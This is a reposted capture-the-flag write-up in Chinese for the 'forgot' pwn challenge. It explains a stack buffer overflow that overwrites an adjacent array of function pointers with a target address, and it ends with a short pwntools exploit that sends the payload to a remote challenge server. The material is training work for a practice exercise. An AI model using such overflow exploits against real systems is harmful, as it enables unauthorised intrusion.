攻防世界(Pwn) forgot---栈溢出;(方法二)
                                                            生活随笔
收集整理的這篇文章主要介紹了
                                攻防世界(Pwn) forgot---栈溢出;(方法二)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.                        
                                攻防世界(Pwn) forgot—棧溢出;(方法一) 里面對問題描述的更詳細一點
返回目標函數
0x80486CC
方法二(爆破流)
因為最終返回的是 v3[0]-v3[9] 之中的一個函數,
 
 v3[--v5] v5的值隨著for循環 會發生改變
 
 v2輸入是溢出點
 v2,v3兩組數據在棧上是相鄰的, v2的長度大于 20h之后就會覆蓋v3的返回值了
干脆把v3[0]-v3[9]函數全部改為目標函數的地址就可以了:0x80486CC
此時無論v5等于什么,我們都會得到目標 flag
EXP
from pwn import * io = remote('111.200.241.244', 59837) payload = 'H'*0x20 + p32(0x80486cc)*10 io.sendlineafter(">","hhh") io.sendlineafter(">",payload) io.interactive()有問題歡迎留言?
總結
以上是生活随笔為你收集整理的攻防世界(Pwn) forgot---栈溢出;(方法二)的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: 攻防世界(Pwn) forgot---栈
- 下一篇: ctf(pwn) canary保护机制讲
